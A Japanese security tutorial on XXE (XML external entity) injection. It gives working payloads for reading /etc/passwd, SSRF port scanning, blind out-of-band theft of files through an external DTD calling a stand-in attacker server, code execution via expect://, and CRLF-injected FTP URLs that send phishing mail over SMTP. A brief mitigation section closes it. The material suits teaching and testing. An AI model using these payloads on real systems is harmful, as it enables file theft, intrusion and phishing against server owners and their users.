ホームページ  >  記事  >  運用・保守  >  XML からリモート コード実行への方法は何ですか

XML からリモート コード実行への方法は何ですか

WBOY
WBOY転載
2023-05-13 10:04:211291ブラウズ

XXE とは

# 簡単に言えば、XXE は XML 外部エンティティ インジェクションです。外部エンティティの参照を許可すると、悪意のあるコンテンツが構築され、任意のファイルの読み取り、システムコマンドの実行、イントラネットのポート検出、イントラネット Web サイトへの攻撃などの被害が発生する可能性があります。

たとえば、現在使用しているプログラムが PHP の場合、libxml_disable_entity_loader を TRUE に設定して、防御目的で外部エンティティを無効にすることができます。

基本的な悪用

通常、攻撃者は XML ファイルにペイロードを挿入します。ファイルが実行されると、サーバー上のローカル ファイルが読み取られ、イントラネットが攻撃されます。内部ネットワーク ポートのアクセス スキャンを開始します。つまり、XXE はローカルでさまざまなサービスにアクセスする方法です。さらに、これは攻撃者がファイアウォール ルールのフィルタリングや認証チェックをある程度バイパスするのにも役立つ可能性があります。

次に、単純な XML コード POST リクエストの例を示します。

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>XML is the best!</description>
   </core>
</catalog>
その後、上記のコードはサーバーの XML プロセッサによって解析されます。コードは解釈されて返されます: {"Request Successful": "Added!"}

さて、攻撃者が XML コード解析を悪用しようとするとどうなるでしょうか?コードを編集して、悪意のあるペイロードを含めてみましょう:

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>
コードは解釈され、次のように返されます:

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

Blind OOB XXE

上の例では、サーバーは /etc/passwd ファイルの内容を応答として XXE に返します。ただし、場合によっては、XXE がサーバー上に存在していても、攻撃者のブラウザまたはプロキシに応答が返されないことがあります。この場合、Blind XXE 脆弱性を利用して、データを読み取るための帯域外 (OOB) チャネルを構築できます。ファイルの内容を直接表示することはできませんが、脆弱なサーバーをプロキシとして使用して、外部ネットワーク上でスキャンやコードを実行することはできます。

シナリオ 1 - ポート スキャン

最初の例では、URI を通じてリクエストを /etc/passwd ファイルに指定し、最終的にリクエストを正常に返しました。ファイルの内容。これに加えて、http URI を使用し、指定したエンドポイントとポートに GET リクエストをサーバーに強制的に送信することで、XXE を SSRF (サーバー サイド リクエスト フォージェリ) に変換することもできます。

次のコードは、ポート 8080 との通信を試行します。攻撃者は、応答時間/長さに基づいて、ポートが開かれているかどうかを判断できます。

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

シナリオ 2 - DTD 経由でファイルを盗む

外部文書型定義 (DTD) ファイルを使用して、OOB XXE をトリガーできます。攻撃者は VPS 上で .dtd ファイルをホストし、リモートの脆弱なサーバーがファイルを取得し、そのファイル内で悪意のあるコマンドを実行できるようにします。

メソッドのデモンストレーションとテストを行うために、次のリクエストがアプリケーションに送信されます:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>
上記のコードは、脆弱なサーバーによって処理されると、リモート サーバーにリクエストを送信します。ペイロードを含む DTD ファイルの場合:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM &#39;http://ATTACKESERVER.com/?%file;&#39;>">
%all;
上記のリクエストの実行フローを少し理解してみましょう。その結果、2 つのリクエストがサーバーに送信され、2 番目のリクエストは /etc/passwd ファイルの内容になります。

VPS ログでは、ファイル コンテンツを含む 2 番目のリクエストが確認できます。これにより、OOB XXE 脆弱性の存在も確認されました:

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

シナリオ 3 - リモート コード実行

これはまれな出来事ですが、主に内部アプリケーションの不適切な構成/開発が原因で、攻撃者が XXE 経由でコードを実行できるケースがあります。幸運にも、PHP 期待モジュールが脆弱なシステムまたは XML を処理する内部アプリケーションにロードされている場合は、次のコマンドを実行できます:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>
Response:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

シナリオ 4 - フィッシング

Java の XML パーサーを使用して、脆弱なエンドポイントを発見しました。内部ポートをスキャンした結果、sun.net.ftp.impl.FtpClient の FTP URI に対する Java サポートを備えたポート 25 でリッスンしている SMTP サービスが見つかりました。したがって、ftp://user:password@host:port/test.txt などのユーザー名とパスワードを指定すると、FTP クライアントは接続で対応する USER コマンドを送信します。

でも、そうするなら (CRLF) URL のユーザー部分の任意の場所で、USER コマンドを終了し、新しいコマンドを FTP セッションに挿入できます。これにより、任意の SMTP コマンドをポート 25 に送信できるようになります。 FTP クライアントがこの URL を使用して接続すると、次のコマンドが VULNERABLESYSTEM.com のメール サーバーに送信されます:

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25
これは、攻撃者が信頼できる送信元 (例: アカウント リセット リンク) からフィッシングメールを送信できることを意味します。 ) し、スパム フィルターの検出をバイパスします。リンクに加えて、添付ファイルを送信することもできます。

ユーティリティ

Web リクエストを手動で編集できることは、XXE 攻撃にとって非常に重要です。ここでは、BurpSuite を使用することをお勧めします。 BurpSuite のスキャン機能は潜在的な XXE 脆弱性を検出できます。次に、burp の Intruder 機能はポート検出に非常に適しています。ただし、ツールは単なるアシスタントであり、場合によっては手動テストの方が優れている場合があることを思い出してください。

RequestBin や HookBin などの HTTP リクエスト分析ツールは、OOB XXE テストに非常に適しています。さらに、BurpSuite Pro の Collaborator も良い選択ですが、セキュリティ研究者の中には独自の VPS を使用することを好む人もいます。

軽減策

上で説明した主な問題は、XML パーサーがユーザーから送信された信頼できないデータを解析することです。しかし、DTD (文書型定義) の SYSTEM 識別子によって定義されたデータを検証することは容易ではなく、不可能です。ほとんどの XML パーサーは、デフォルトで XXE 攻撃に対して脆弱です。したがって、最善の解決策は、ローカルの静的 DTD を使用し、XML に自己宣言された DTD が含まれないように XML プロセッサを構成することです。

以上がXML からリモート コード実行への方法は何ですかの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。